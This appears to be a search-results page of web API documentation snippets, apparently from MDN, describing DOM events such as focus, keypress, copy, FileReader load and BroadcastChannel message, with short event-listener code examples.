... properties the rtcpeerconnectioniceerrorevent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate.
...And 2 more matches
SVGEvent - Web APIs
WebAPISVGEvent
the svgevent interface represents the event object for most svg-related events.
... properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 2 more matches
SharedWorkerGlobalScope: connect event - Web APIs
the connect event is fired in shared workers at their sharedworkerglobalscope when a new client connects.
... bubbles no cancelable no interface messageevent event handler property sharedworkerglobalscope.onconnect examples this example shows a shared worker file — when a connection to the worker occurs from a main thread via a messageport, the onconnect event handler fires.
... the event object is a messageevent.
...And 2 more matches
SpeechRecognitionErrorEvent - Web APIs
the speechrecognitionerrorevent interface of the web speech api represents error messages from the recognition service.
... properties speechrecognitionerrorevent also inherits properties from its parent interface, event.
... speechrecognitionerrorevent.error read only returns the type of error raised.
...And 2 more matches
SpeechRecognitionEvent.results - Web APIs
the results read-only property of the speechrecognitionevent interface returns a speechrecognitionresultlist object representing all the speech recognition results for the current session.
...when subsequent result events are fired, interim results may be overwritten by a newer interim result or by a final result — they may even be removed, if they are at the end of the "results" array and the array length decreases.
... syntax var myresults = event.results; value a speechrecognitionresultlist object.
...And 2 more matches
SubmitEvent.submitter - Web APIs
the read-only submitter property found on the submitevent interface specifies the submit button or other element that was invoked to cause the form to be submitted.
... syntax let submitter = submitevent.submitter; value an element, indicating the element that sent the submit event to the form.
... let form = document.queryselector("form"); form.addeventlistener("submit", (event) => { let submitter = event.submitter; let handler = submitter.id; if (handler) { processorder(form, handler); } else { showalertmessage("an unknown or unaccepted payment type was selected.
...And 2 more matches
TextTrack: cuechange event - Web APIs
the cuechange event fires when a texttrack has changed the currently displaying cues.
... the event is fired at both the texttrack and at the htmltrackelement in which it's being presented, if any.
... bubbles no cancelable no interface event event handler property globaleventhandlers.oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed.
...And 2 more matches
TouchEvent.ctrlKey - Web APIs
summary a boolean value indicating whether the control (control) key is enabled when the touch event is created.
... syntax var ctrlenabled = touchevent.ctrlkey; return value ctrlenabled true if the control key is enabled for this event; and false if the control is not enabled.
... example the touchevent.altkey example includes an example of this property's usage.
...And 2 more matches
TouchEvent.metaKey - Web APIs
summary a boolean value indicating whether or not the meta key is enabled when the touch event is created.
... syntax var metaenabled = touchevent.metakey; return value metaenabled true if the meta key is enabled for this event; and false if the meta is not enabled.
... example the touchevent.altkey example includes an example of this property's usage.
...And 2 more matches
TouchEvent.shiftKey - Web APIs
summary a boolean value indicating whether or not the shift key is enabled when the touch event is created.
... syntax var shiftenabled = touchevent.shiftkey; return value shiftenabled true if the shift key is enabled for this event; and false if the shift key is not enabled.
... example the touchevent.altkey example includes an example of this property's usage.
...And 2 more matches
TrackEvent.track - Web APIs
WebAPITrackEventtrack
the read-only track property of the trackevent interface specifies the media track object to which the event applies.
... syntax track = trackevent.track; value an object which is one of the types audiotrack, videotrack, or texttrack, depending on the type of media represented by the track.
... this identifies the track to which the event applies.
...And 2 more matches
WheelEvent() - Web APIs
the wheelevent() constructor returns a newly created wheelevent object.
... syntax var wheelevent = new wheelevent(typearg, wheeleventinit); properties typearg is a domstring representing the name of the event.
... wheeleventinit optional is a wheeleventinit dictionary, having the following fields: "deltax", optional and defaulting to 0.0, is a double representing the horizontal scroll amount in the deltamode unit.
...And 2 more matches
Window: blur event - Web APIs
WebAPIWindowblur event
the blur event fires when an element has lost focus.
... bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples live example this example changes the appearance of a document when it loses focus.
... it uses addeventlistener() to monitor focus and blur events.
...And 2 more matches
Window: copy event - Web APIs
WebAPIWindowcopy event
the copy event fires when the user initiates a copy action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for this event is the element that was the intended target of the copy action.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
...And 2 more matches
Window: cut event - Web APIs
WebAPIWindowcut event
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for this event is the element that was the intended target of the cut action.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
...And 2 more matches
Window: focus event - Web APIs
the focus event fires when an element has received focus.
... bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples live example this example changes the appearance of a document when it loses focus.
... it uses addeventlistener() to monitor focus and blur events.
...And 2 more matches
Window: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for this event is the element that was the intended target of the paste action.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
...And 2 more matches
Window.releaseEvents() - Web APIs
summary releases the window from trapping events of a specific type.
... syntax window.releaseevents(eventtype) eventtype is a combination of the following values: event.abort, event.blur, event.click, event.change, event.dblclick, event.dragddrop, event.error, event.focus, event.keydown, event.keypress, event.keyup, event.load, event.mousedown, event.mousemove, event.mouseout, event.mouseover, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload.
... example window.releaseevents(event.keypress) notes note that you can pass a list of events to this method using the following syntax: window.releaseevents(event.keypress | event.keydown | event.keyup).
...And 2 more matches
Window: transitionrun event - Web APIs
the transitionrun event is fired when a css transition is first created, i.e.
... bubbles yes cancelable no interface transitionevent event handler property ontransitionrun the original target for this event is the element that had the transition applied.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
...And 2 more matches
Window: transitionstart event - Web APIs
the transitionstart event is fired when a css transition has actually started, i.e., after any transition-delay has ended.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitionstart the original target for this event is the element that had the transition applied.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
...And 2 more matches
Window: unload event - Web APIs
the unload event is fired when the document or a child resource is being unloaded.
... bubbles no cancelable no interface event event handler property onunload it is fired after: beforeunload (cancelable event) pagehide the document is in the following state: all the resources still exist (img, iframe etc.) nothing is visible anymore to the end user ui interactions are ineffective (window.open, alert, confirm, etc.) an error won't stop the unloading workflow please note that the unload event also follows the document tree: parent frame unload will happen before child frame unload (see example below).
... examples <!doctype html> <html> <head> <title>parent frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 1st one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 3rd one.'); }); </script> </head> <body> <iframe src="child-frame.html"></iframe> </body> </html> below, the content of child-frame.html: <!doctype html> <html> <head> <title>child frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 2nd one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 4th and last one…'); }); </script> </head> <body> ...
...And 2 more matches
XRReferenceSpaceEventInit.transform - Web APIs
the xrreferencespaceeventinit property transform indicates the position and orientation of the affected reference space's native origin after the changes the event represents are applied.
... the transform is defined using the old coordinate system, which allows it to be used to convert coordinates from the pre-event coordinate system to the post-event coordiante system.
... syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrrigidtransform object providing a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system.
...And 2 more matches
XRSession: select event - Web APIs
the webxr event select is sent to an xrsession when one of the session's input sources has completed a primary action.
... bubbles yes cancelable no interface xrinputsourceevent event handler property onselect for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources.
... examples the following example uses addeventlistener() to set up a handler for the select event.
...And 2 more matches
XRSession: visibilitychange event - Web APIs
the visibilitychange event is sent to an xrsession to inform it when it becomes visible or hidden, or when it becomes visible but not currently focused.
... upon receiving the event, you can check the value of the session's visibilitystate property to determine the new visibility state.
... bubbles yes cancelable no interface xrsessionevent event handler property onvisibilitychange when the xrsession receives this event, the visibility state has already been changed.
...And 2 more matches
XRSessionEvent.session - Web APIs
the read-only xrsessionevent interface's session property indicates which xrsession the event is about.
... syntax xrsession = xrsessionevent.session; value an xrsession object indicating which webxr session the event refers to.
... examples in this example, the session property is used to obtain the session object to manage when an event is received.
...And 2 more matches
Window: deviceproximity event - Archive of obsolete content
the deviceproximity event is fired when fresh data is available from a proximity sensor.
... note: this event has been disabled by default in firefox 62, behind the device.sensors.proximity.enabled preference (bug 1462308).
... bubbles no cancelable no interface deviceproximityevent target defaultview (window) default action none event handler property window.ondeviceproximity specification proximity sensor other properties property type description value read only double (float) the measured proximity of the distant device (distance in centimetres).
... related events userproximity ...
events - Archive of obsolete content
« xul reference home events type: comma-separated list a comma-separated list of event names that the command updater will update upon.
... if this attribute is not specified, or you set it to the value '*', all events are valid.
... valid events are listed below, or you can use your own events.
... you can send a custom event by calling the updatecommands method of the command dispatcher.
HTMLIFrameElement.sendMouseEvent()
the sendmouseevent() method of the htmliframeelement interface allows you to fake a mouse event and send it to the browser <iframe>'s content.
... syntax instanceofhtmliframeelement.sendmouseevent(type, x, y, button, clickcount, modifiers); returns void.
... parameters type a string representing the event type.
... examples var browser = document.queryselector('iframe'); browser.sendmouseevent("mousemove", x, y, 0, 0, 0); browser.sendmouseevent("mousedown", x, y, 0, 1, 0); browser.sendmouseevent("mouseup", x, y, 0, 1, 0); specification not part of any specification.
HTMLIFrameElement.sendTouchEvent()
the sendtouchevent() method of the htmliframeelement allows you to fake a touch event and send it to the browser <iframe>'s content.
... syntax instanceofhtmliframeelement.sendtouchevent(type, x, y, rx, ry, rotationangles, forces, count, modifiers); returns void.
... parameters type a string representing the event type.
... examples var browser = document.queryselector('iframe'); browser.sendtouchevent("touchstart", [1], [x], [y], [2], [2], [20], [0.5], 1, 0); specification not part of any specification.
FC_WaitForSlotEvent
name fc_waitforslotevent - waits for a slot event, such as token insertion or token removal, to occur.
... syntax ck_rv fc_waitforslotevent(ck_flags flags, ck_slot_id_ptr pslot ck_void_ptr preserved); parameters fc_waitforslotevent takes three parameters: [input] flags [input] pslot.
... return value fc_waitforslotevent always returns ckr_function_not_supported.
... examples see also fc_waitforslotevent ...
nsIDOMEventGroup
dom/interfaces/events/nsidomeventgroup.idlscriptable this interface is the interface implemented by all event targets in the document object model.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean issameeventgroup(in nsidomeventgroup other); methods issameeventgroup() reports whether or not another event group is the same as this one.
... boolean issameeventgroup( in nsidomeventgroup other ); parameters other instance of nsidomeventgroup object to compare against.
...see also document object model (dom) level 3 events specification ...
nsIProgressEventSink
netwerk/base/public/nsiprogresseventsink.idlscriptable this interface is used to asynchronously convey channel status and progress information that is generally not critical to the processing of the channel.
...the channel will begin passing notifications to the progress event sink after its asyncopen method has been called.
...method overview void onprogress(in nsirequest arequest, in nsisupports acontext, in unsigned long long aprogress, in unsigned long long aprogressmax); void onstatus(in nsirequest arequest, in nsisupports acontext, in nsresult astatus, in wstring astatusarg); methods onprogress() called to notify the event sink that progress has occurred for the given request.
... onstatus() called to notify the event sink with a status message for the given request.
BroadcastChannel: message event - Web APIs
the message event is fired on a broadcastchannel object when a message arrives on that channel.
... bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "sender" <iframe> that broadcasts the contents of a <textarea> when the user clicks a button.
...fira sans", sans-serif; margin-bottom: 1rem; } textarea { padding: .2rem; } label, br { margin: .5rem 0; } button { vertical-align: top; height: 1.5rem; } const channel = new broadcastchannel('example-channel'); const messagecontrol = document.queryselector('#message'); const broadcastmessagebutton = document.queryselector('#broadcast-message'); broadcastmessagebutton.addeventlistener('click', () => { channel.postmessage(messagecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.a...
...ddeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); result specifications specification status html living standard living standard ...
CompositionEvent.data - Web APIs
the data read-only property of the compositionevent interface returns the characters generated by the input method that raised the event; its exact nature varies depending on the type of event that generated the compositionevent object.
... syntax mydata = compositionevent.data value a domstring representing the event data: for compositionstart events, this is the currently selected text that will be replaced by the string being composed.
... for compositionend events, this is the string as committed to the editor.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'data' in that specification.
DeviceMotionEvent.acceleration - Web APIs
note: if the hardware doesn't know how to remove gravity from the acceleration data, this value may not be present in the devicemotionevent.
... in this situation, you'll need to use devicemotionevent.accelerationincludinggravity instead.
... syntax var acceleration = devicemotionevent.acceleration; value the acceleration property is an object providing information about acceleration on three axis.
... each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
unlike devicemotionevent.acceleration which compensates for the influence of gravity, its value is the sum of the acceleration of the device as induced by the user and the acceleration caused by gravity.
... this value is not typically as useful as devicemotionevent.acceleration, but may be the only value available on devices that aren't able of removing gravity from the acceleration data, such as on devices that don't have a gyroscope.
... syntax var acceleration = devicemotionevent.accelerationincludinggravity; value the accelerationincludinggravity property is an object providing information about acceleration on three axis.
... each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
Document: gotpointercapture event - Web APIs
the gotpointercapture event is fired when an element captures a pointer using setpointercapture().
... bubbles no cancelable no interface pointerevent event handler property ongotpointercapture examples this example gets a <p> element and listens for the gotpointercapture event.
... it then calls setpointercapture() on the element on a pointerdown event, which will trigger gotpointercapture.
... const para = document.queryselector('p'); document.addeventlistener('gotpointercapture', () => { console.log('i\'ve been captured!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, using the ongotpointercapture event handler property: const para = document.queryselector('p'); document.ongotpointercapture = () => { console.log('i\'ve been captured!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
Document: keypress event - Web APIs
the keypress event is fired when a key that produces a character value is pressed down.
... since this event has been deprecated, you should look to use beforeinput or keydown instead.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key.
... <p>press inside this iframe first to focus it, then try pressing keys on the keyboard.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keypress', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeypress equivalent document.onkeypress = logkey; specifications specification status ui events working draft ...
Document: lostpointercapture event - Web APIs
the lostpointercapture event is fired when a captured pointer is released.
... bubbles no cancelable no interface pointerevent event handler property onlostpointercapture examples this example listens for the lostpointercapture event, and captures the pointer for an element on pointerdown.
... when the user subsequently releases the pointer, the lostpointercapture event will be fired.
... const para = document.queryselector('p'); document.addeventlistener('lostpointercapture', () => { console.log('i\'ve been released!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, but using the onlostpointercapture event handler property: const para = document.queryselector('p'); document.onlostpointercapture = () => { console.log('i\'ve been released!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
Element: MSGestureStart event - Web APIs
the msgesturestart event is fired when there's a new point of contact on the touch surface, thus starting a new gesture.
... when the gesture has ended, a msgestureend event will be fired.
... it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSGestureTap event - Web APIs
the msgesturetap event is fired when the user "taps" the pointing device (e.g., touches the touch surface with their finger, taps the touch surface with a pen device, clicks with a mouse).
... typically, it's preferable to listen for the click event instead.
... it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSInertiaStart event - Web APIs
the msinertiastart event is fired when contact with the touch surface stops when a scroll has enough inertia to continue scrolling.
... this event may not be fired if the scroll is sufficiently slow.
... it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: afterscriptexecute event - Web APIs
this event was a proposal in an early version of the specification.
... the afterscriptexecute event is fired after a script has been executed.
... it is a proprietary event specific to gecko (firefox).
... bubbles yes cancelable no interface event event handler property none specifications not part of any specification.
Element: error event - Web APIs
the error event is fired on an element object when a resource failed to load, or can't be used.
... bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise.
... examples live example html <div class="controls"> <button id="img-error" type="button">generate image error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); const badimg = document.queryselector('.bad-img'); badimg.addeventlistener(...
...'error', (event) => { log.textcontent = log.textcontent + `${event.type}: loading image\n`; console.log(event) }); const imgerror = document.queryselector('#img-error'); imgerror.addeventlistener('click', () => { badimg.setattribute('src', 'i-dont-exist'); }); result specifications specification status ui events working draft ...
Element: focusin event - Web APIs
the focusin event fires when an element is about to receive focus.
... the main difference between this event and focus is that focusin bubbles while focus does not.
... bubbles yes cancelable no interface focusevent event handler property onfocusin sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Element: focusout event - Web APIs
the focusout event fires when an element is about to lose focus.
... the main difference between this event and blur is that focusout bubbles while blur does not.
... bubbles yes cancelable no interface focusevent event handler property onfocusout sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Element: keypress event - Web APIs
the keypress event is fired when a key that produces a character value is pressed down.
... since this event has been deprecated, you should look to use beforeinput or keydown instead.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key after focussing the <input> element.
... <div> <label for="sample">focus the input and type something:</label> <input type="text" name="text" id="sample"> </div> <p id="log"></p> const log = document.getelementbyid('log'); const input = document.queryselector('input'); input.addeventlistener('keypress', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeypress equivalent input.onkeypress = logkey; specifications specification status ui events working draft ...
Element: overflow event - Web APIs
the overflow event is fired when an element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with overflow != visible).
... it is a proprietary event specific to gecko (firefox).
... bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log( event ); }, false); wrapper.addeventlistener("underflow", ...
...function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
Element: select event - Web APIs
the select event fires when some text has been selected.
... bubbles yes cancelable no interface uievent if generated from a user interface, event otherwise event handler property onselect the event is not available for all elements in all languages.
... for example, in html, select events can be dispatched only on form <input type="text"> and <textarea> elements.
... examples selection logger <input value="try selecting some text in this element."> <p id="log"></p> function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const input = document.queryselector('input'); input.addeventlistener('select', logselection); onselect equivalent you can also set up the event handler using the onselect property: input.onselect = logselection; specifications specification status ui eventsthe definition of 'select' in that specification.
Element: underflow event - Web APIs
the non-standard underflow event, which is specific to firefox, is fired when an element is no longer overflowed by its content.
... the counterpart overflow event is fired when overflow occurs.
... bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log( event ); }, false); wrapper.addeventlistener("underflow", ...
...function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
Event.cancelBubble - Web APIs
the cancelbubble property of the event interface is a historical alias to event.stoppropagation().
... setting its value to true before returning from an event handler prevents propagation of the event.
... syntax event.cancelbubble = bool; var bool = event.cancelbubble; value a boolean.
... example elem.onclick = function(event) { // do cool things here event.cancelbubble = true; } specifications specification status comment domthe definition of 'cancelbubble' in that specification.
Event.isTrusted - Web APIs
WebAPIEventisTrusted
the istrusted read-only property of the event interface is a boolean that is true when the event was generated by a user action, and false when the event was created or modified by a script or dispatched via eventtarget.dispatchevent().
... syntax var eventistrusted = event.istrusted; value boolean example if (e.istrusted) { /* the event is trusted */ } else { /* the event is not trusted */ } specification specification status comment domthe definition of 'event.istrusted' in that specification.
... living standard document object model (dom) level 3 events specificationthe definition of 'trusted events' in that specification.
... obsolete adds requirements regarding trusted and untrusted events, though it does not itself define the istrusted property.
EventSource() - Web APIs
the eventsource() constructor returns a newly-created eventsource, which represents a remote resource.
... syntax eventsource = new eventsource(url, configuration); parameters url a usvstring that represents the location of the remote resource serving the events/messages.
... examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'eventsource()' in that specification.
EventTarget() - Web APIs
the eventtarget() constructor creates a new eventtarget object instance.
... syntax var myeventtarget = new eventtarget(); parameters none.
... return value an instance of the eventtarget object.
... examples class myeventtarget extends eventtarget { constructor(mysecret) { super(); this._secret = mysecret; } get secret() { return this._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification.
ExtendableMessageEvent.data - Web APIs
the data read-only property of the extendablemessageevent interface returns the event's data.
... syntax var mydata = extendablemessageevent.data; value any data type.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.data' in that specification.
ExtendableMessageEvent.origin - Web APIs
the origin read-only property of the extendablemessageevent interface returns the origin of the client that sent the message.
... syntax var myorigin = extendablemessageevent.origin; value a usvstring.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification.
ExtendableMessageEvent.source - Web APIs
the source read-only property of the extendablemessageevent interface returns a reference to the client object from which the message was sent.
... syntax var mysource = extendablemessageevent.source; value a client, serviceworker or messageport object.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
FetchEvent.client - Web APIs
WebAPIFetchEventclient
the fetchevent.client read-only property returns the client that the current service worker is controlling.
... note: this feature has been deprecated, with its functionality replaced by fetchevent.clientid and clients.get().
... syntax var myclient = fetchevent.client; value a client object.
... example self.addeventlistener('fetch', function(event) { console.log(event.client); ​}); ...
FileReader: abort event - Web APIs
the abort event is fired when a read has been aborted: for instance because the program called filereader.abort().
... bubbles no cancelable no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .exam...
...ple { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', ...
...handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } reader.abort(); } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: load event - Web APIs
the load event is fired when a file has been read successfully.
... bubbles no cancelable no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .examp...
...le { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', h...
...andleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadend event - Web APIs
the loadend event is fired when a file read has completed, successfully or not.
